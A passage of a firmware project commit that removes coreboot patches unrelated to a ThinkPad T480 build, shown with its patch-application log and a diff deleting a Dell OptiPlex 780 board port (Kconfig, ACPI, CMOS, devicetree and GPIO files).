build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb cleanly. Applying patch file : patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_3050/devicetree.cb... Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_3050/devicetree.cb cleanly. Applying patch file : patches/coreboot-2412/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/Kconfig... Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/Kconfig cleanly. Applying patch file : patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig... Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig cleanly. Applying patch file : patches/coreboot-2412/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch Checking patch build/x86/coreboot-2412/src/soc/intel/common/block/pmc/pmclib.c... Applied patch build/x86/coreboot-2412/src/soc/intel/common/block/pmc/pmclib.c cleanly. Applying patch file : patches/coreboot-2412/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch Checking patch build/x86/coreboot-2412/src/ec/dasharo/ec/Kconfig... Applied patch build/x86/coreboot-2412/src/ec/dasharo/ec/Kconfig cleanly. Applying patch file : patches/coreboot-2412/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig... Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig cleanly. Applying patch file : patches/coreboot-2412/0014-src-intel-x4x-Disable-stack-overflow-debug.patch Checking patch build/x86/coreboot-2412/src/northbridge/intel/x4x/Kconfig... Applied patch build/x86/coreboot-2412/src/northbridge/intel/x4x/Kconfig cleanly. Applying patch file : patches/coreboot-2412/85278-post-skylake-pr0.patch Checking patch build/x86/coreboot-2412/src/soc/intel/alderlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/cannonlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/common/block/lpc/Makefile.mk... Checking patch build/x86/coreboot-2412/src/soc/intel/common/block/smm/smihandler.c... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/include/intelpch/lockdown.h... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/Kconfig... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/Makefile.mk... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown.c... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown_lpc.c... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown_spi.c... Checking patch build/x86/coreboot-2412/src/soc/intel/denverton_ns/lpc.c... Checking patch build/x86/coreboot-2412/src/soc/intel/elkhartlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/jasperlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/meteorlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/pantherlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/tigerlake/finalize.c... Applied patch build/x86/coreboot-2412/src/soc/intel/alderlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/cannonlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/block/lpc/Makefile.mk cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/block/smm/smihandler.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/include/intelpch/lockdown.h cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/Kconfig cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/Makefile.mk cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown_lpc.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown_spi.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/denverton_ns/lpc.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/elkhartlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/jasperlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/meteorlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/pantherlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/tigerlake/finalize.c cleanly. - remove patches unrelated to t480, skylake etc - clean local build cache for coreboot fork - remove files added per patches - sudo rm -rf build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480* - rewrite canary content so that coreboot fork si resynced - echo "bogus" |sudo tee build/x86/coreboot-2412/.canary - rebuild the board, so that coreboot fork is resynced and patches are reapplied - ./docker_repro.sh make BOARD=t480-hotp-maximized - save oldconfig changes from patches applied/removed - ./docker_repro.sh make BOARD=t480-maximized coreboot.modify_and_save_oldconfig_in_place Signed-off-by: Thierry Laurion --- config/coreboot-t480-maximized.config | 1 + ...b-dell-Add-Optiplex-780-MT-x4x-ICH10.patch | 708 ------------------ ...ool-add-nuke-flag-all-0xFF-on-region.patch | 205 ----- ...or-coreboot-images-built-without-a-p.patch | 39 - ...b-dell-optiplex_780-Add-USFF-variant.patch | 326 -------- ...-dell-3050micro-disable-nvme-hotplug.patch | 49 -- ...c-intel-skylake-Don-t-compress-FSP-S.patch | 36 - 7 files changed, 1 insertion(+), 1363 deletions(-) delete mode 100644 patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch delete mode 100644 patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch delete mode 100644 patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch delete mode 100644 patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch delete mode 100644 patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch delete mode 100644 patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch diff --git a/config/coreboot-t480-maximized.config b/config/coreboot-t480-maximized.config index b9379ff79..a9e80a7ed 100644 --- a/config/coreboot-t480-maximized.config +++ b/config/coreboot-t480-maximized.config @@ -652,6 +652,7 @@ CONFIG_FSP_FULL_FD=y CONFIG_FSP_T_RESERVED_SIZE=0x0 CONFIG_FSP_M_XIP=y CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y CONFIG_SOC_INTEL_COMMON_FSP_RESET=y CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y diff --git a/patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch b/patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch deleted file mode 100644 index 77513b775..000000000 --- a/patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch +++ /dev/null @@ -1,708 +0,0 @@ -From 2527c4a5131d7b33e43bbc03a94921e7e59b4b02 Mon Sep 17 00:00:00 2001 -From: Nicholas Chin -Date: Mon, 30 Sep 2024 20:44:38 -0400 -Subject: [PATCH 04/11] mb/dell: Add Optiplex 780 MT (x4x/ICH10) - -Change-Id: Idb45737ce95bfd26e978323c650de7d308b5079c -Signed-off-by: Nicholas Chin ---- - src/mainboard/dell/optiplex_780/Kconfig | 40 ++++ - src/mainboard/dell/optiplex_780/Kconfig.name | 4 + - src/mainboard/dell/optiplex_780/Makefile.mk | 10 + - src/mainboard/dell/optiplex_780/acpi/ec.asl | 5 + - .../dell/optiplex_780/acpi/ich10_pci_irqs.asl | 32 ++++ - .../dell/optiplex_780/acpi/superio.asl | 18 ++ - .../dell/optiplex_780/board_info.txt | 6 + - src/mainboard/dell/optiplex_780/cmos.default | 8 + - src/mainboard/dell/optiplex_780/cmos.layout | 72 ++++++++ - src/mainboard/dell/optiplex_780/cstates.c | 8 + - src/mainboard/dell/optiplex_780/devicetree.cb | 63 +++++++ - src/mainboard/dell/optiplex_780/dsdt.asl | 26 +++ - .../dell/optiplex_780/gma-mainboard.ads | 16 ++ - .../optiplex_780/variants/780_mt/data.vbt | Bin 0 -> 1917 bytes - .../optiplex_780/variants/780_mt/early_init.c | 12 ++ - .../dell/optiplex_780/variants/780_mt/gpio.c | 174 ++++++++++++++++++ - .../optiplex_780/variants/780_mt/hda_verb.c | 26 +++ - .../variants/780_mt/overridetree.cb | 10 + - 18 files changed, 530 insertions(+) - create mode 100644 src/mainboard/dell/optiplex_780/Kconfig - create mode 100644 src/mainboard/dell/optiplex_780/Kconfig.name - create mode 100644 src/mainboard/dell/optiplex_780/Makefile.mk - create mode 100644 src/mainboard/dell/optiplex_780/acpi/ec.asl - create mode 100644 src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl - create mode 100644 src/mainboard/dell/optiplex_780/acpi/superio.asl - create mode 100644 src/mainboard/dell/optiplex_780/board_info.txt - create mode 100644 src/mainboard/dell/optiplex_780/cmos.default - create mode 100644 src/mainboard/dell/optiplex_780/cmos.layout - create mode 100644 src/mainboard/dell/optiplex_780/cstates.c - create mode 100644 src/mainboard/dell/optiplex_780/devicetree.cb - create mode 100644 src/mainboard/dell/optiplex_780/dsdt.asl - create mode 100644 src/mainboard/dell/optiplex_780/gma-mainboard.ads - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/early_init.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb - -diff --git a/src/mainboard/dell/optiplex_780/Kconfig b/src/mainboard/dell/optiplex_780/Kconfig -new file mode 100644 -index 0000000000..2d06c75c9a ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/Kconfig -@@ -0,0 +1,40 @@ -+## SPDX-License-Identifier: GPL-2.0-only -+ -+config BOARD_DELL_OPTIPLEX_780_COMMON -+ def_bool n -+ select BOARD_ROMSIZE_KB_8192 -+ select CPU_INTEL_SOCKET_LGA775 -+ select DRIVERS_I2C_CK505 -+ select HAVE_ACPI_RESUME -+ select HAVE_ACPI_TABLES -+ select HAVE_CMOS_DEFAULT -+ select HAVE_OPTION_TABLE -+ select INTEL_GMA_HAVE_VBT -+ select MAINBOARD_HAS_LIBGFXINIT -+ select MAINBOARD_USES_IFD_GBE_REGION -+ select NORTHBRIDGE_INTEL_X4X -+ select PCIEXP_ASPM -+ select PCIEXP_CLK_PM -+ select SOUTHBRIDGE_INTEL_I82801JX -+ -+config BOARD_DELL_OPTIPLEX_780_MT -+ select BOARD_DELL_OPTIPLEX_780_COMMON -+ -+if BOARD_DELL_OPTIPLEX_780_COMMON -+ -+config VGA_BIOS_ID -+ default "8086,2e22" -+ -+config MAINBOARD_DIR -+ default "dell/optiplex_780" -+ -+config MAINBOARD_PART_NUMBER -+ default "OptiPlex 780 MT" if BOARD_DELL_OPTIPLEX_780_MT -+ -+config OVERRIDE_DEVICETREE -+ default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" -+ -+config VARIANT_DIR -+ default "780_mt" if BOARD_DELL_OPTIPLEX_780_MT -+ -+endif # BOARD_DELL_OPTIPLEX_780_COMMON -diff --git a/src/mainboard/dell/optiplex_780/Kconfig.name b/src/mainboard/dell/optiplex_780/Kconfig.name -new file mode 100644 -index 0000000000..db7f2e8fe3 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/Kconfig.name -@@ -0,0 +1,4 @@ -+## SPDX-License-Identifier: GPL-2.0-only -+ -+config BOARD_DELL_OPTIPLEX_780_MT -+ bool "OptiPlex 780 MT" -diff --git a/src/mainboard/dell/optiplex_780/Makefile.mk b/src/mainboard/dell/optiplex_780/Makefile.mk -new file mode 100644 -index 0000000000..d462995d75 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/Makefile.mk -@@ -0,0 +1,10 @@ -+# SPDX-License-Identifier: GPL-2.0-only -+ -+ramstage-y += cstates.c -+romstage-y += variants/$(VARIANT_DIR)/gpio.c -+ -+bootblock-y += variants/$(VARIANT_DIR)/early_init.c -+romstage-y += variants/$(VARIANT_DIR)/early_init.c -+ -+ramstage-$(CONFIG_MAINBOARD_USE_LIBGFXINIT) += gma-mainboard.ads -+ramstage-y += variants/$(VARIANT_DIR)/hda_verb.c -diff --git a/src/mainboard/dell/optiplex_780/acpi/ec.asl b/src/mainboard/dell/optiplex_780/acpi/ec.asl -new file mode 100644 -index 0000000000..479296cb76 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/acpi/ec.asl -@@ -0,0 +1,5 @@ -+/* SPDX-License-Identifier: CC-PDDC */ -+ -+/* Please update the license if adding licensable material. */ -+ -+/* dummy */ -diff --git a/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl b/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl -new file mode 100644 -index 0000000000..b7588dcc41 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl -@@ -0,0 +1,32 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+/* This is board specific information: -+ * IRQ routing for the 0:1e.0 PCI bridge of the ICH10 -+ */ -+ -+If (PICM) { -+ Return (Package() { -+ /* PCI slot */ -+ Package() { 0x0001ffff, 0, 0, 0x14}, -+ Package() { 0x0001ffff, 1, 0, 0x15}, -+ Package() { 0x0001ffff, 2, 0, 0x16}, -+ Package() { 0x0001ffff, 3, 0, 0x17}, -+ -+ Package() { 0x0002ffff, 0, 0, 0x15}, -+ Package() { 0x0002ffff, 1, 0, 0x16}, -+ Package() { 0x0002ffff, 2, 0, 0x17}, -+ Package() { 0x0002ffff, 3, 0, 0x14}, -+ }) -+} Else { -+ Return (Package() { -+ Package() { 0x0001ffff, 0, \_SB.PCI0.LPCB.LNKE, 0}, -+ Package() { 0x0001ffff, 1, \_SB.PCI0.LPCB.LNKF, 0}, -+ Package() { 0x0001ffff, 2, \_SB.PCI0.LPCB.LNKG, 0}, -+ Package() { 0x0001ffff, 3, \_SB.PCI0.LPCB.LNKH, 0}, -+ -+ Package() { 0x0002ffff, 0, \_SB.PCI0.LPCB.LNKF, 0}, -+ Package() { 0x0002ffff, 1, \_SB.PCI0.LPCB.LNKG, 0}, -+ Package() { 0x0002ffff, 2, \_SB.PCI0.LPCB.LNKH, 0}, -+ Package() { 0x0002ffff, 3, \_SB.PCI0.LPCB.LNKE, 0}, -+ }) -+} -diff --git a/src/mainboard/dell/optiplex_780/acpi/superio.asl b/src/mainboard/dell/optiplex_780/acpi/superio.asl -new file mode 100644 -index 0000000000..9f3900b86c ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/acpi/superio.asl -@@ -0,0 +1,18 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#undef SUPERIO_DEV -+#undef SUPERIO_PNP_BASE -+#undef IT8720F_SHOW_SP1 -+#undef IT8720F_SHOW_SP2 -+#undef IT8720F_SHOW_EC -+#undef IT8720F_SHOW_KBCK -+#undef IT8720F_SHOW_KBCM -+#undef IT8720F_SHOW_GPIO -+#undef IT8720F_SHOW_CIR -+#define SUPERIO_DEV SIO0 -+#define SUPERIO_PNP_BASE 0x2e -+#define IT8720F_SHOW_EC 1 -+#define IT8720F_SHOW_KBCK 1 -+#define IT8720F_SHOW_KBCM 1 -+#define IT8720F_SHOW_GPIO 1 -+#include -diff --git a/src/mainboard/dell/optiplex_780/board_info.txt b/src/mainboard/dell/optiplex_780/board_info.txt -new file mode 100644 -index 0000000000..aaf657b583 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/board_info.txt -@@ -0,0 +1,6 @@ -+Category: desktop -+Board URL: https://www.acer.com/ac/en/GB/content/support-product/1137?b=1 -+ROM package: SOIC-8 -+ROM protocol: SPI -+ROM socketed: n -+Flashrom support: y -diff --git a/src/mainboard/dell/optiplex_780/cmos.default b/src/mainboard/dell/optiplex_780/cmos.default -new file mode 100644 -index 0000000000..23f0e55f3e ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/cmos.default -@@ -0,0 +1,8 @@ -+## SPDX-License-Identifier: GPL-2.0-only -+ -+boot_option=Fallback -+debug_level=Debug -+power_on_after_fail=Disable -+nmi=Enable -+sata_mode=AHCI -+gfx_uma_size=64M -diff --git a/src/mainboard/dell/optiplex_780/cmos.layout b/src/mainboard/dell/optiplex_780/cmos.layout -new file mode 100644 -index 0000000000..9f5012adb4 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/cmos.layout -@@ -0,0 +1,72 @@ -+## SPDX-License-Identifier: GPL-2.0-only -+ -+# ----------------------------------------------------------------- -+entries -+ -+# ----------------------------------------------------------------- -+0 120 r 0 reserved_memory -+ -+# ----------------------------------------------------------------- -+# RTC_BOOT_BYTE (coreboot hardcoded) -+384 1 e 4 boot_option -+388 4 h 0 reboot_counter -+ -+# ----------------------------------------------------------------- -+# coreboot config options: console -+395 4 e 6 debug_level -+ -+# coreboot config options: southbridge -+408 1 e 10 sata_mode -+409 2 e 7 power_on_after_fail -+411 1 e 1 nmi -+ -+# coreboot config options: cpu -+ -+# coreboot config options: northbridge -+432 4 e 11 gfx_uma_size -+ -+# coreboot config options: check sums -+984 16 h 0 check_sum -+ -+# ----------------------------------------------------------------- -+ -+enumerations -+ -+#ID value text -+1 0 Disable -+1 1 Enable -+2 0 Enable -+2 1 Disable -+4 0 Fallback -+4 1 Normal -+6 0 Emergency -+6 1 Alert -+6 2 Critical -+6 3 Error -+6 4 Warning -+6 5 Notice -+6 6 Info -+6 7 Debug -+6 8 Spew -+7 0 Disable -+7 1 Enable -+7 2 Keep -+10 0 AHCI -+10 1 Compatible -+11 1 4M -+11 2 8M -+11 3 16M -+11 4 32M -+11 5 48M -+11 6 64M -+11 7 128M -+11 8 256M -+11 9 96M -+11 10 160M -+11 11 224M -+11 12 352M -+ -+# ----------------------------------------------------------------- -+checksums -+ -+checksum 392 983 984 -diff --git a/src/mainboard/dell/optiplex_780/cstates.c b/src/mainboard/dell/optiplex_780/cstates.c -new file mode 100644 -index 0000000000..4adf0edc63 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/cstates.c -@@ -0,0 +1,8 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#include -+ -+int get_cst_entries(const acpi_cstate_t **entries) -+{ -+ return 0; -+} -diff --git a/src/mainboard/dell/optiplex_780/devicetree.cb b/src/mainboard/dell/optiplex_780/devicetree.cb -new file mode 100644 -index 0000000000..95e3bd517c ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/devicetree.cb -@@ -0,0 +1,63 @@ -+# SPDX-License-Identifier: GPL-2.0-or-later -+ -+chip northbridge/intel/x4x -+ device cpu_cluster 0 on ops x4x_cpu_bus_ops end # APIC cluster -+ device domain 0 on -+ ops x4x_pci_domain_ops # PCI domain -+ subsystemid 0x8086 0x0028 inherit -+ device pci 0.0 on end # Host Bridge -+ device pci 1.0 on end # PCIe x16 2.0 slot -+ device pci 2.0 on end # Integrated graphics controller -+ device pci 2.1 on end # Integrated graphics controller 2 -+ device pci 3.0 off end # ME -+ device pci 3.1 off end # ME -+ chip southbridge/intel/i82801jx # ICH10 -+ register "gpe0_en" = "0x40" -+ -+ # Set AHCI mode. -+ register "sata_port_map" = "0x3f" -+ register "sata_clock_request" = "1" -+ -+ # Enable PCIe ports 0,1 as slots. -+ register "pcie_slot_implemented" = "0x3" -+ -+ device pci 19.0 on end # GBE -+ device pci 1a.0 on end # USB -+ device pci 1a.1 on end # USB -+ device pci 1a.2 on end # USB -+ device pci 1a.7 on end # USB -+ device pci 1b.0 on end # Audio -+ device pci 1c.0 off end # PCIe 1 -+ device pci 1c.1 off end # PCIe 2 -+ device pci 1c.2 off end # PCIe 3 -+ device pci 1c.3 off end # PCIe 4 -+ device pci 1c.4 off end # PCIe 5 -+ device pci 1c.5 off end # PCIe 6 -+ device pci 1d.0 on end # USB -+ device pci 1d.1 on end # USB -+ device pci 1d.2 on end # USB -+ device pci 1d.7 on end # USB -+ device pci 1e.0 on end # PCI bridge -+ device pci 1f.0 on end # LPC bridge -+ device pci 1f.2 on end # SATA (IDE: port 0-3, AHCI/RAID: 0-5) -+ device pci 1f.3 on # SMBus -+ chip drivers/i2c/ck505 # IDT CV194 -+ register "mask" = "{ 0xff, 0xff, 0xff, 0xff, -+ 0xff, 0xff, 0xff, 0xff, -+ 0xff, 0xff, 0xff, 0xff, -+ 0xff, 0xff, 0xff, 0xff, -+ 0xff, 0xff, 0xff }" -+ register "regs" = "{ 0x15, 0x82, 0xff, 0xff, -+ 0xff, 0x00, 0x00, 0x95, -+ 0x00, 0x65, 0x7d, 0x56, -+ 0x13, 0xc0, 0x00, 0x07, -+ 0x01, 0x0a, 0x64 }" -+ device i2c 69 on end -+ end -+ end -+ device pci 1f.4 off end -+ device pci 1f.5 off end # SATA 2 (for port 4-5 in IDE mode) -+ device pci 1f.6 off end # Thermal Subsystem -+ end -+ end -+end -diff --git a/src/mainboard/dell/optiplex_780/dsdt.asl b/src/mainboard/dell/optiplex_780/dsdt.asl -new file mode 100644 -index 0000000000..9ad70469de ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/dsdt.asl -@@ -0,0 +1,26 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#include -+DefinitionBlock( -+ "dsdt.aml", -+ "DSDT", -+ ACPI_DSDT_REV_2, -+ OEM_ID, -+ ACPI_TABLE_CREATOR, -+ 0x20090811 // OEM revision -+) -+{ -+ #include -+ -+ OSYS = 2002 -+ // global NVS and variables -+ #include -+ -+ Device (\_SB.PCI0) -+ { -+ #include -+ #include -+ } -+ -+ #include -+} -diff --git a/src/mainboard/dell/optiplex_780/gma-mainboard.ads b/src/mainboard/dell/optiplex_780/gma-mainboard.ads -new file mode 100644 -index 0000000000..bc81cf4a40 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/gma-mainboard.ads -@@ -0,0 +1,16 @@ -+-- SPDX-License-Identifier: GPL-2.0-or-later -+ -+with HW.GFX.GMA; -+with HW.GFX.GMA.Display_Probing; -+ -+use HW.GFX.GMA; -+use HW.GFX.GMA.Display_Probing; -+ -+private package GMA.Mainboard is -+ -+ ports : constant Port_List := -+ (DP2, -+ Analog, -+ others => Disabled); -+ -+end GMA.Mainboard; -diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt b/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt -new file mode 100644 -index 0000000000000000000000000000000000000000..fefda9d6f226b88ab67c5b044de30a707df22fbf -GIT binary patch -literal 1917 -zcmd6nO>7%Q6vzLwGv0Mv$FUpJ*ik4iQd_wnX*X`M0y3~p?8a$~>ZXxZMU`4dc9RGb -zTXq_i1Bwd~aNr{c4i)r(goF^M-nek+sY0sMa}Sk>xFFy_FTEfX^Y+7unt+OgkeJbX -zznS;`v-5V=o{ZwwmnN>gY?}>{`7^JBpP$l`EBIwbi0*k&aU)n@v)E -znI_A1T57efS5MGNN5_ut -zt=x`G)EjR#mlhURC^2!A3p33TcBg4-d8JyTiF&hfk}|a#&Dfe2%~V^}=4!QavNzBh -z0Pae^5`gfb?7Q)c(LsP)8 -zQy)2gwgG1S^>aw&0D}Z+-SCcJJF;s)yXJeQ|4N{SU?$I`#$HZa9dWBuxA$6X;VK;%W?Y>I;0P`|*vwAK$S(VB2JSq6g4n -z>oEf8XCt;_Y-iYBWz#3T9EmJ -z2x?*GPeN%?=Fj3+fv~4%I(nv~XF7VOqi5RsAt%13JtW>q=<<;0IkLPSUGL%_1h)2kjaZzuV;`43yCV;I=#Jcyyw@xKE8GGX39@am|0GKhH` -zawsKv^FvHqm+c8*FfFsu??w)Oed@;Mg~21%rCZ%d{x!>-zmv4AyWL1E -xfz+CGUnQ7Y^TD}&c_cQRYlBC+`?m?k6Nuw??s04gg4@4`<@FO{XEbO( -+ -+void mb_get_spd_map(u8 spd_map[4]) -+{ -+ // BTX form factor -+ spd_map[0] = 0x53; -+ spd_map[1] = 0x52; -+ spd_map[2] = 0x51; -+ spd_map[3] = 0x50; -+} -diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c b/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c -new file mode 100644 -index 0000000000..9993f17c55 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c -@@ -0,0 +1,174 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#include -+ -+static const struct pch_gpio_set1 pch_gpio_set1_mode = { -+ .gpio0 = GPIO_MODE_NATIVE, -+ .gpio1 = GPIO_MODE_NATIVE, -+ .gpio2 = GPIO_MODE_GPIO, -+ .gpio3 = GPIO_MODE_GPIO, -+ .gpio4 = GPIO_MODE_GPIO, -+ .gpio5 = GPIO_MODE_GPIO, -+ .gpio6 = GPIO_MODE_GPIO, -+ .gpio7 = GPIO_MODE_NATIVE, -+ .gpio8 = GPIO_MODE_NATIVE, -+ .gpio9 = GPIO_MODE_GPIO, -+ .gpio10 = GPIO_MODE_GPIO, -+ .gpio11 = GPIO_MODE_NATIVE, -+ .gpio12 = GPIO_MODE_NATIVE, -+ .gpio13 = GPIO_MODE_GPIO, -+ .gpio14 = GPIO_MODE_GPIO, -+ .gpio15 = GPIO_MODE_NATIVE, -+ .gpio16 = GPIO_MODE_GPIO, -+ .gpio17 = GPIO_MODE_NATIVE, -+ .gpio18 = GPIO_MODE_GPIO, -+ .gpio19 = GPIO_MODE_GPIO, -+ .gpio20 = GPIO_MODE_GPIO, -+ .gpio21 = GPIO_MODE_GPIO, -+ .gpio22 = GPIO_MODE_GPIO, -+ .gpio23 = GPIO_MODE_NATIVE, -+ .gpio24 = GPIO_MODE_GPIO, -+ .gpio25 = GPIO_MODE_NATIVE, -+ .gpio26 = GPIO_MODE_NATIVE, -+ .gpio27 = GPIO_MODE_GPIO, -+ .gpio28 = GPIO_MODE_GPIO, -+ .gpio29 = GPIO_MODE_GPIO, -+ .gpio30 = GPIO_MODE_GPIO, -+ .gpio31 = GPIO_MODE_GPIO, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_direction = { -+ .gpio2 = GPIO_DIR_INPUT, -+ .gpio3 = GPIO_DIR_INPUT, -+ .gpio4 = GPIO_DIR_INPUT, -+ .gpio5 = GPIO_DIR_INPUT, -+ .gpio6 = GPIO_DIR_INPUT, -+ .gpio9 = GPIO_DIR_OUTPUT, -+ .gpio10 = GPIO_DIR_INPUT, -+ .gpio13 = GPIO_DIR_INPUT, -+ .gpio14 = GPIO_DIR_INPUT, -+ .gpio16 = GPIO_DIR_INPUT, -+ .gpio18 = GPIO_DIR_OUTPUT, -+ .gpio19 = GPIO_DIR_INPUT, -+ .gpio20 = GPIO_DIR_OUTPUT, -+ .gpio21 = GPIO_DIR_INPUT, -+ .gpio22 = GPIO_DIR_INPUT, -+ .gpio24 = GPIO_DIR_INPUT, -+ .gpio27 = GPIO_DIR_INPUT, -+ .gpio28 = GPIO_DIR_OUTPUT, -+ .gpio29 = GPIO_DIR_INPUT, -+ .gpio30 = GPIO_DIR_INPUT, -+ .gpio31 = GPIO_DIR_INPUT, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_level = { -+ .gpio9 = GPIO_LEVEL_HIGH, -+ .gpio18 = GPIO_LEVEL_HIGH, -+ .gpio20 = GPIO_LEVEL_HIGH, -+ .gpio28 = GPIO_LEVEL_LOW, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_blink = { -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_invert = { -+ .gpio13 = GPIO_INVERT, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_mode = { -+ .gpio32 = GPIO_MODE_GPIO, -+ .gpio33 = GPIO_MODE_GPIO, -+ .gpio34 = GPIO_MODE_GPIO, -+ .gpio35 = GPIO_MODE_GPIO, -+ .gpio36 = GPIO_MODE_GPIO, -+ .gpio37 = GPIO_MODE_GPIO, -+ .gpio38 = GPIO_MODE_GPIO, -+ .gpio39 = GPIO_MODE_GPIO, -+ .gpio40 = GPIO_MODE_NATIVE, -+ .gpio41 = GPIO_MODE_NATIVE, -+ .gpio42 = GPIO_MODE_NATIVE, -+ .gpio43 = GPIO_MODE_NATIVE, -+ .gpio44 = GPIO_MODE_NATIVE, -+ .gpio45 = GPIO_MODE_NATIVE, -+ .gpio46 = GPIO_MODE_NATIVE, -+ .gpio47 = GPIO_MODE_NATIVE, -+ .gpio48 = GPIO_MODE_GPIO, -+ .gpio49 = GPIO_MODE_GPIO, -+ .gpio50 = GPIO_MODE_NATIVE, -+ .gpio51 = GPIO_MODE_NATIVE, -+ .gpio52 = GPIO_MODE_NATIVE, -+ .gpio53 = GPIO_MODE_NATIVE, -+ .gpio54 = GPIO_MODE_GPIO, -+ .gpio55 = GPIO_MODE_NATIVE, -+ .gpio56 = GPIO_MODE_GPIO, -+ .gpio57 = GPIO_MODE_GPIO, -+ .gpio58 = GPIO_MODE_NATIVE, -+ 